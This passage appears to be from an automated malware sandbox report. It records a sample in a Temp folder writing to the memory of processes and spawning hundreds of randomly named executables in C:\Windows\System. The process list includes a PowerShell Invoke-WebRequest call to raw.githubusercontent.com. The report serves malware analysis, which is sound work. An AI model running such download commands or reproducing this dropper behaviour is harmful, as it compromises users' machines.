PID 2084 wrote to memory of 1780 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\LZRpOsm.exe
PID 2084 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\HnSXOxY.exe
PID 2084 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\HnSXOxY.exe
PID 2084 wrote to memory of 2776 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\HnSXOxY.exe
PID 2084 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\EgXTUoj.exe
PID 2084 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\EgXTUoj.exe
PID 2084 wrote to memory of 2940 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\EgXTUoj.exe
PID 2084 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\eZUoRHp.exe
PID 2084 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\eZUoRHp.exe
PID 2084 wrote to memory of 2604 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\eZUoRHp.exe
PID 2084 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\WYcEmBb.exe
PID 2084 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\WYcEmBb.exe
PID 2084 wrote to memory of 2752 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\WYcEmBb.exe
PID 2084 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\aCBPzCf.exe
PID 2084 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\aCBPzCf.exe
PID 2084 wrote to memory of 2680 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\aCBPzCf.exe
PID 2084 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\OvHNNBZ.exe
PID 2084 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\OvHNNBZ.exe
PID 2084 wrote to memory of 2232 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\OvHNNBZ.exe
PID 2084 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\SQcsGyv.exe
PID 2084 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\SQcsGyv.exe
PID 2084 wrote to memory of 2220 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\SQcsGyv.exe
PID 2084 wrote to memory of 2404 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\kRXcCUM.exe
PID 2084 wrote to memory of 2404 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\kRXcCUM.exe
PID 2084 wrote to memory of 2404 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\kRXcCUM.exe
PID 2084 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\dNjAuIe.exe
PID 2084 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\dNjAuIe.exe
PID 2084 wrote to memory of 1520 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\dNjAuIe.exe
PID 2084 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\tuFGTlF.exe
PID 2084 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\tuFGTlF.exe
PID 2084 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\tuFGTlF.exe
PID 2084 wrote to memory of 2924 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\boyaTVo.exe
PID 2084 wrote to memory of 2924 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\boyaTVo.exe
PID 2084 wrote to memory of 2924 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\boyaTVo.exe
PID 2084 wrote to memory of 1732 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\dtfXomT.exe
PID 2084 wrote to memory of 1732 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\dtfXomT.exe
PID 2084 wrote to memory of 1732 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\dtfXomT.exe
PID 2084 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\SlAnnbc.exe
PID 2084 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\SlAnnbc.exe
PID 2084 wrote to memory of 2664 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\SlAnnbc.exe
PID 2084 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\aJZBpLG.exe
PID 2084 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\aJZBpLG.exe
PID 2084 wrote to memory of 2172 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\aJZBpLG.exe
PID 2084 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\OjDtJBv.exe
PID 2084 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\OjDtJBv.exe
PID 2084 wrote to memory of 1964 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\OjDtJBv.exe
PID 2084 wrote to memory of 1860 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\HjheMnc.exe
PID 2084 wrote to memory of 1860 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\HjheMnc.exe
PID 2084 wrote to memory of 1860 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\HjheMnc.exe
PID 2084 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\VzBFyuh.exe
PID 2084 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\VzBFyuh.exe
PID 2084 wrote to memory of 1984 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\VzBFyuh.exe
PID 2084 wrote to memory of 1896 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\gKslIfk.exe
PID 2084 wrote to memory of 1896 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\gKslIfk.exe
PID 2084 wrote to memory of 1896 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\gKslIfk.exe
PID 2084 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\DMVrIXB.exe
PID 2084 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\DMVrIXB.exe
PID 2084 wrote to memory of 1148 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\DMVrIXB.exe
PID 2084 wrote to memory of 1776 N/A C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe C:\Windows\System\CugrwNc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\8c7ff91c4b197009f6160ab3607c75b0_NeikiAnalytics.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "

C:\Windows\System\LZRpOsm.exe

C:\Windows\System\LZRpOsm.exe

C:\Windows\System\HnSXOxY.exe

C:\Windows\System\HnSXOxY.exe

C:\Windows\System\EgXTUoj.exe

C:\Windows\System\EgXTUoj.exe

C:\Windows\System\eZUoRHp.exe

C:\Windows\System\eZUoRHp.exe

C:\Windows\System\WYcEmBb.exe

C:\Windows\System\WYcEmBb.exe

C:\Windows\System\aCBPzCf.exe

C:\Windows\System\aCBPzCf.exe

C:\Windows\System\OvHNNBZ.exe

C:\Windows\System\OvHNNBZ.exe

C:\Windows\System\SQcsGyv.exe

C:\Windows\System\SQcsGyv.exe

C:\Windows\System\kRXcCUM.exe

C:\Windows\System\kRXcCUM.exe

C:\Windows\System\dNjAuIe.exe

C:\Windows\System\dNjAuIe.exe

C:\Windows\System\tuFGTlF.exe

C:\Windows\System\tuFGTlF.exe

C:\Windows\System\boyaTVo.exe

C:\Windows\System\boyaTVo.exe

C:\Windows\System\dtfXomT.exe

C:\Windows\System\dtfXomT.exe

C:\Windows\System\SlAnnbc.exe

C:\Windows\System\SlAnnbc.exe

C:\Windows\System\aJZBpLG.exe

C:\Windows\System\aJZBpLG.exe

C:\Windows\System\OjDtJBv.exe

C:\Windows\System\OjDtJBv.exe

C:\Windows\System\HjheMnc.exe

C:\Windows\System\HjheMnc.exe

C:\Windows\System\VzBFyuh.exe

C:\Windows\System\VzBFyuh.exe

C:\Windows\System\gKslIfk.exe

C:\Windows\System\gKslIfk.exe

C:\Windows\System\DMVrIXB.exe

C:\Windows\System\DMVrIXB.exe

C:\Windows\System\CugrwNc.exe

C:\Windows\System\CugrwNc.exe

C:\Windows\System\zfUSObo.exe

C:\Windows\System\zfUSObo.exe

C:\Windows\System\ARlNTCu.exe

C:\Windows\System\ARlNTCu.exe

C:\Windows\System\BIXeVaH.exe

C:\Windows\System\BIXeVaH.exe

C:\Windows\System\NCAHxFh.exe

C:\Windows\System\NCAHxFh.exe

C:\Windows\System\AUwmjZt.exe

C:\Windows\System\AUwmjZt.exe

C:\Windows\System\VvVhmfi.exe

C:\Windows\System\VvVhmfi.exe

C:\Windows\System\TyHObAw.exe

C:\Windows\System\TyHObAw.exe

C:\Windows\System\nUbaGVI.exe

C:\Windows\System\nUbaGVI.exe

C:\Windows\System\zMyXGsq.exe

C:\Windows\System\zMyXGsq.exe

C:\Windows\System\UnAYayb.exe

C:\Windows\System\UnAYayb.exe

C:\Windows\System\mGdEQGI.exe

C:\Windows\System\mGdEQGI.exe

C:\Windows\System\NgcPDkf.exe

C:\Windows\System\NgcPDkf.exe

C:\Windows\System\TprSQzv.exe

C:\Windows\System\TprSQzv.exe

C:\Windows\System\HUUbSKN.exe

C:\Windows\System\HUUbSKN.exe

C:\Windows\System\rNEEKTW.exe

C:\Windows\System\rNEEKTW.exe

C:\Windows\System\toNKYnu.exe

C:\Windows\System\toNKYnu.exe

C:\Windows\System\GuaHoIK.exe

C:\Windows\System\GuaHoIK.exe

C:\Windows\System\SWFhqaD.exe

C:\Windows\System\SWFhqaD.exe

C:\Windows\System\dpDktvp.exe

C:\Windows\System\dpDktvp.exe

C:\Windows\System\CzDDJUG.exe

C:\Windows\System\CzDDJUG.exe

C:\Windows\System\jMhIowL.exe

C:\Windows\System\jMhIowL.exe

C:\Windows\System\lirNDYG.exe

C:\Windows\System\lirNDYG.exe

C:\Windows\System\LbwEiIT.exe

C:\Windows\System\LbwEiIT.exe

C:\Windows\System\xhVtPSj.exe

C:\Windows\System\xhVtPSj.exe

C:\Windows\System\dKTVuuk.exe

C:\Windows\System\dKTVuuk.exe

C:\Windows\System\hliMKKI.exe

C:\Windows\System\hliMKKI.exe

C:\Windows\System\INZpHGi.exe

C:\Windows\System\INZpHGi.exe

C:\Windows\System\bKvctoz.exe

C:\Windows\System\bKvctoz.exe

C:\Windows\System\ELwvRth.exe

C:\Windows\System\ELwvRth.exe

C:\Windows\System\XcLYMuU.exe

C:\Windows\System\XcLYMuU.exe

C:\Windows\System\sZdsmwN.exe

C:\Windows\System\sZdsmwN.exe

C:\Windows\System\ATvaHyr.exe

C:\Windows\System\ATvaHyr.exe

C:\Windows\System\KnNHXii.exe

C:\Windows\System\KnNHXii.exe

C:\Windows\System\DPSEAea.exe

C:\Windows\System\DPSEAea.exe

C:\Windows\System\cOczhly.exe

C:\Windows\System\cOczhly.exe

C:\Windows\System\wGdKrmz.exe

C:\Windows\System\wGdKrmz.exe

C:\Windows\System\AnipAnW.exe

C:\Windows\System\AnipAnW.exe

C:\Windows\System\ThEnGUr.exe

C:\Windows\System\ThEnGUr.exe

C:\Windows\System\AqWBcgf.exe

C:\Windows\System\AqWBcgf.exe

C:\Windows\System\CwDDOKV.exe

C:\Windows\System\CwDDOKV.exe

C:\Windows\System\Kskttug.exe

C:\Windows\System\Kskttug.exe

C:\Windows\System\VQIfzRW.exe

C:\Windows\System\VQIfzRW.exe

C:\Windows\System\HrIHOVD.exe

C:\Windows\System\HrIHOVD.exe

C:\Windows\System\pldqsSl.exe

C:\Windows\System\pldqsSl.exe

C:\Windows\System\evNfyJg.exe

C:\Windows\System\evNfyJg.exe

C:\Windows\System\NzZsLii.exe

C:\Windows\System\NzZsLii.exe

C:\Windows\System\OTbNIJf.exe

C:\Windows\System\OTbNIJf.exe

C:\Windows\System\clGZJnv.exe

C:\Windows\System\clGZJnv.exe

C:\Windows\System\RgDGddy.exe

C:\Windows\System\RgDGddy.exe

C:\Windows\System\PhQdCdV.exe

C:\Windows\System\PhQdCdV.exe

C:\Windows\System\DnlDZiV.exe

C:\Windows\System\DnlDZiV.exe

C:\Windows\System\cVPXWTB.exe

C:\Windows\System\cVPXWTB.exe

C:\Windows\System\jdYYOMg.exe

C:\Windows\System\jdYYOMg.exe

C:\Windows\System\sEBEWxJ.exe

C:\Windows\System\sEBEWxJ.exe

C:\Windows\System\LrMCABN.exe

C:\Windows\System\LrMCABN.exe

C:\Windows\System\gDwBttO.exe

C:\Windows\System\gDwBttO.exe

C:\Windows\System\wSJGnFp.exe

C:\Windows\System\wSJGnFp.exe

C:\Windows\System\nmXBOGw.exe

C:\Windows\System\nmXBOGw.exe

C:\Windows\System\TKAHhuM.exe

C:\Windows\System\TKAHhuM.exe

C:\Windows\System\MtZGvJd.exe

C:\Windows\System\MtZGvJd.exe

C:\Windows\System\CLtoSlG.exe

C:\Windows\System\CLtoSlG.exe

C:\Windows\System\tfiGZWt.exe

C:\Windows\System\tfiGZWt.exe

C:\Windows\System\gSNZmKE.exe

C:\Windows\System\gSNZmKE.exe

C:\Windows\System\VdTPeif.exe

C:\Windows\System\VdTPeif.exe

C:\Windows\System\JASDCFG.exe

C:\Windows\System\JASDCFG.exe

C:\Windows\System\lAekiOR.exe

C:\Windows\System\lAekiOR.exe

C:\Windows\System\TXZbUvx.exe

C:\Windows\System\TXZbUvx.exe

C:\Windows\System\ZGItoMB.exe

C:\Windows\System\ZGItoMB.exe

C:\Windows\System\YtcGcLY.exe

C:\Windows\System\YtcGcLY.exe

C:\Windows\System\PBoDCQM.exe

C:\Windows\System\PBoDCQM.exe

C:\Windows\System\cNlSWAM.exe

C:\Windows\System\cNlSWAM.exe

C:\Windows\System\PZRTHUM.exe

C:\Windows\System\PZRTHUM.exe

C:\Windows\System\qxjbIOW.exe

C:\Windows\System\qxjbIOW.exe

C:\Windows\System\IOqmtvO.exe

C:\Windows\System\IOqmtvO.exe

C:\Windows\System\PsfMHik.exe

C:\Windows\System\PsfMHik.exe

C:\Windows\System\PPhOdKf.exe

C:\Windows\System\PPhOdKf.exe

C:\Windows\System\XCkFqpB.exe

C:\Windows\System\XCkFqpB.exe

C:\Windows\System\hIUjrJO.exe

C:\Windows\System\hIUjrJO.exe

C:\Windows\System\LOPMqpy.exe

C:\Windows\System\LOPMqpy.exe

C:\Windows\System\aTgVzoO.exe

C:\Windows\System\aTgVzoO.exe

C:\Windows\System\BrVBDAX.exe

C:\Windows\System\BrVBDAX.exe

C:\Windows\System\GWdJahX.exe

C:\Windows\System\GWdJahX.exe

C:\Windows\System\XaSmimd.exe

C:\Windows\System\XaSmimd.exe

C:\Windows\System\wtyughq.exe

C:\Windows\System\wtyughq.exe

C:\Windows\System\IDCOfUi.exe

C:\Windows\System\IDCOfUi.exe

C:\Windows\System\PPPkuEr.exe

C:\Windows\System\PPPkuEr.exe

C:\Windows\System\BUcVKPn.exe

C:\Windows\System\BUcVKPn.exe

C:\Windows\System\BrPvDvB.exe

C:\Windows\System\BrPvDvB.exe

C:\Windows\System\KhKClXZ.exe

C:\Windows\System\KhKClXZ.exe

C:\Windows\System\lChekuC.exe

C:\Windows\System\lChekuC.exe

C:\Windows\System\QbGgIrL.exe

C:\Windows\System\QbGgIrL.exe

C:\Windows\System\EpHSFiR.exe

C:\Windows\System\EpHSFiR.exe

C:\Windows\System\ebGRXGc.exe

C:\Windows\System\ebGRXGc.exe

C:\Windows\System\JiHgnYo.exe

C:\Windows\System\JiHgnYo.exe

C:\Windows\System\lvtUBUh.exe

C:\Windows\System\lvtUBUh.exe

C:\Windows\System\OxWyheW.exe

C:\Windows\System\OxWyheW.exe

C:\Windows\System\EcrTgZl.exe

C:\Windows\System\EcrTgZl.exe

C:\Windows\System\eDGTCtd.exe

C:\Windows\System\eDGTCtd.exe

C:\Windows\System\DOoUmHb.exe

C:\Windows\System\DOoUmHb.exe

C:\Windows\System\qwIYccS.exe

C:\Windows\System\qwIYccS.exe

C:\Windows\System\XTifBIu.exe

C:\Windows\System\XTifBIu.exe

C:\Windows\System\sNCyxFp.exe

C:\Windows\System\sNCyxFp.exe

C:\Windows\System\bHqBCzH.exe

C:\Windows\System\bHqBCzH.exe

C:\Windows\System\TOabWvI.exe

C:\Windows\System\TOabWvI.exe

C:\Windows\System\XjTUXEw.exe

C:\Windows\System\XjTUXEw.exe

C:\Windows\System\xzSjnoO.exe

C:\Windows\System\xzSjnoO.exe

C:\Windows\System\XDidhko.exe

C:\Windows\System\XDidhko.exe

C:\Windows\System\jAnPDpS.exe

C:\Windows\System\jAnPDpS.exe

C:\Windows\System\gMYBdQW.exe

C:\Windows\System\gMYBdQW.exe

C:\Windows\System\AMOLyHK.exe

C:\Windows\System\AMOLyHK.exe

C:\Windows\System\WUyEsAl.exe

C:\Windows\System\WUyEsAl.exe

C:\Windows\System\kDYWUQj.exe

C:\Windows\System\kDYWUQj.exe

C:\Windows\System\HFmRidp.exe

C:\Windows\System\HFmRidp.exe

C:\Windows\System\RwyiZfh.exe

C:\Windows\System\RwyiZfh.exe

C:\Windows\System\eEZhYXf.exe

C:\Windows\System\eEZhYXf.exe

C:\Windows\System\bFgnMnR.exe

C:\Windows\System\bFgnMnR.exe

C:\Windows\System\LEdDpMg.exe

C:\Windows\System\LEdDpMg.exe

C:\Windows\System\djBRMkP.exe

C:\Windows\System\djBRMkP.exe

C:\Windows\System\IiKEnql.exe

C:\Windows\System\IiKEnql.exe

C:\Windows\System\JyHmnkP.exe

C:\Windows\System\JyHmnkP.exe

C:\Windows\System\Tiandty.exe

C:\Windows\System\Tiandty.exe

C:\Windows\System\cuXpFGw.exe

C:\Windows\System\cuXpFGw.exe

C:\Windows\System\uAccaXG.exe

C:\Windows\System\uAccaXG.exe

C:\Windows\System\JoeJhYA.exe

C:\Windows\System\JoeJhYA.exe

C:\Windows\System\ZUiNpFX.exe

C:\Windows\System\ZUiNpFX.exe

C:\Windows\System\bpiSmuI.exe

C:\Windows\System\bpiSmuI.exe

C:\Windows\System\ZZizXyZ.exe

C:\Windows\System\ZZizXyZ.exe

C:\Windows\System\NlyNwKS.exe

C:\Windows\System\NlyNwKS.exe

C:\Windows\System\LAMlEVD.exe

C:\Windows\System\LAMlEVD.exe

C:\Windows\System\PKYIMoz.exe

C:\Windows\System\PKYIMoz.exe

C:\Windows\System\wgHznrc.exe

C:\Windows\System\wgHznrc.exe

C:\Windows\System\QeFwUdA.exe

C:\Windows\System\QeFwUdA.exe

C:\Windows\System\mXAkYwJ.exe

C:\Windows\System\mXAkYwJ.exe

C:\Windows\System\fNCXRRr.exe

C:\Windows\System\fNCXRRr.exe

C:\Windows\System\xInTjRL.exe

C:\Windows\System\xInTjRL.exe

C:\Windows\System\evWrhHV.exe

C:\Windows\System\evWrhHV.exe

C:\Windows\System\VtxmhCR.exe

C:\Windows\System\VtxmhCR.exe

C:\Windows\System\gexReHo.exe

C:\Windows\System\gexReHo.exe

C:\Windows\System\OgQCuRR.exe

C:\Windows\System\OgQCuRR.exe

C:\Windows\System\GDTmCLu.exe

C:\Windows\System\GDTmCLu.exe

C:\Windows\System\BZUDjSJ.exe

C:\Windows\System\BZUDjSJ.exe

C:\Windows\System\xeCRwFt.exe

C:\Windows\System\xeCRwFt.exe

C:\Windows\System\zLIJghl.exe

C:\Windows\System\zLIJghl.exe

C:\Windows\System\ZYxvuVv.exe

C:\Windows\System\ZYxvuVv.exe

C:\Windows\System\EJpXZxU.exe

C:\Windows\System\EJpXZxU.exe

C:\Windows\System\dutOIWC.exe

C:\Windows\System\dutOIWC.exe

C:\Windows\System\bIfHPID.exe

C:\Windows\System\bIfHPID.exe

C:\Windows\System\JLpWOUe.exe

C:\Windows\System\JLpWOUe.exe

C:\Windows\System\rkmeqYC.exe

C:\Windows\System\rkmeqYC.exe

C:\Windows\System\jJGWgrN.exe

C:\Windows\System\jJGWgrN.exe

C:\Windows\System\cNxTEbH.exe

C:\Windows\System\cNxTEbH.exe

C:\Windows\System\LHjjiQx.exe

C:\Windows\System\LHjjiQx.exe

C:\Windows\System\DTqyKlh.exe

C:\Windows\System\DTqyKlh.exe

C:\Windows\System\OWpoNrg.exe

C:\Windows\System\OWpoNrg.exe

C:\Windows\System\iDFDwvG.exe

C:\Windows\System\iDFDwvG.exe

C:\Windows\System\uHtYbKC.exe

C:\Windows\System\uHtYbKC.exe

C:\Windows\System\ipYeIkE.exe

C:\Windows\System\ipYeIkE.exe

C:\Windows\System\khRXeRV.exe

C:\Windows\System\khRXeRV.exe

C:\Windows\System\qBPNrds.exe

C:\Windows\System\qBPNrds.exe

C:\Windows\System\udUagWX.exe

C:\Windows\System\udUagWX.exe

C:\Windows\System\xUKjLVj.exe

C:\Windows\System\xUKjLVj.exe

C:\Windows\System\WHmffaf.exe

C:\Windows\System\WHmffaf.exe

C:\Windows\System\tcPYLRZ.exe

C:\Windows\System\tcPYLRZ.exe

C:\Windows\System\DtYrsjN.exe

C:\Windows\System\DtYrsjN.exe

C:\Windows\System\NlNuJZD.exe

C:\Windows\System\NlNuJZD.exe

C:\Windows\System\XQsjNpg.exe

C:\Windows\System\XQsjNpg.exe

C:\Windows\System\WcMeerF.exe

C:\Windows\System\WcMeerF.exe

C:\Windows\System\DRBalbM.exe

C:\Windows\System\DRBalbM.exe

C:\Windows\System\whkYCSX.exe

C:\Windows\System\whkYCSX.exe

C:\Windows\System\FCFQVsG.exe

C:\Windows\System\FCFQVsG.exe

C:\Windows\System\RaiBBcS.exe

C:\Windows\System\RaiBBcS.exe

C:\Windows\System\mTSSZPL.exe

C:\Windows\System\mTSSZPL.exe

C:\Windows\System\PMlDYLQ.exe

C:\Windows\System\PMlDYLQ.exe

C:\Windows\System\SjTBRBr.exe

C:\Windows\System\SjTBRBr.exe

C:\Windows\System\qlPLTBW.exe

C:\Windows\System\qlPLTBW.exe

C:\Windows\System\qzCRHNp.exe

C:\Windows\System\qzCRHNp.exe

C:\Windows\System\mKOmgnH.exe

C:\Windows\System\mKOmgnH.exe

C:\Windows\System\WlJLuOH.exe

C:\Windows\System\WlJLuOH.exe

C:\Windows\System\rTEFTiT.exe

C:\Windows\System\rTEFTiT.exe

C:\Windows\System\voibYNN.exe

C:\Windows\System\voibYNN.exe

C:\Windows\System\VMNYkYc.exe

C:\Windows\System\VMNYkYc.exe

C:\Windows\System\pUDIOgN.exe

C:\Windows\System\pUDIOgN.exe

C:\Windows\System\FhWGIFw.exe

C:\Windows\System\FhWGIFw.exe

C:\Windows\System\JvtygmF.exe

C:\Windows\System\JvtygmF.exe

C:\Windows\System\SnhkByu.exe

C:\Windows\System\SnhkByu.exe

C:\Windows\System\FOXaXwX.exe

C:\Windows\System\FOXaXwX.exe

C:\Windows\System\fWQAqTG.exe

C:\Windows\System\fWQAqTG.exe

C:\Windows\System\nCUqUwe.exe

C:\Windows\System\nCUqUwe.exe

C:\Windows\System\xbNFooy.exe

C:\Windows\System\xbNFooy.exe

C:\Windows\System\UxzgDtP.exe

C:\Windows\System\UxzgDtP.exe

C:\Windows\System\qSUONZm.exe

C:\Windows\System\qSUONZm.exe

C:\Windows\System\cbEhrqL.exe

C:\Windows\System\cbEhrqL.exe

C:\Windows\System\wkYQEmn.exe

C:\Windows\System\wkYQEmn.exe

C:\Windows\System\kIwQzwp.exe

C:\Windows\System\kIwQzwp.exe

C:\Windows\System\iqkCHPM.exe

C:\Windows\System\iqkCHPM.exe

C:\Windows\System\sdwLfTK.exe

C:\Windows\System\sdwLfTK.exe

C:\Windows\System\brbNEIH.exe

C:\Windows\System\brbNEIH.exe

C:\Windows\System\EyjiYxG.exe

C:\Windows\System\EyjiYxG.exe

C:\Windows\System\qWkkrNl.exe

C:\Windows\System\qWkkrNl.exe

C:\Windows\System\rMiVqhI.exe

C:\Windows\System\rMiVqhI.exe

C:\Windows\System\kpkKzUE.exe

C:\Windows\System\kpkKzUE.exe

C:\Windows\System\fpMYFcd.exe

C:\Windows\System\fpMYFcd.exe

C:\Windows\System\AtEEWgc.exe

C:\Windows\System\AtEEWgc.exe

C:\Windows\System\AKvDtRw.exe

C:\Windows\System\AKvDtRw.exe

C:\Windows\System\ahvQVzu.exe

C:\Windows\System\ahvQVzu.exe

C:\Windows\System\bagqdzZ.exe

C:\Windows\System\bagqdzZ.exe

C:\Windows\System\DABmfHY.exe

C:\Windows\System\DABmfHY.exe

C:\Windows\System\STWktmJ.exe

C:\Windows\System\STWktmJ.exe

C:\Windows\System\rGydUXQ.exe

C:\Windows\System\rGydUXQ.exe

C:\Windows\System\BGTTksk.exe

C:\Windows\System\BGTTksk.exe

C:\Windows\System\hvACouh.exe

C:\Windows\System\hvACouh.exe

C:\Windows\System\HgWaFwh.exe

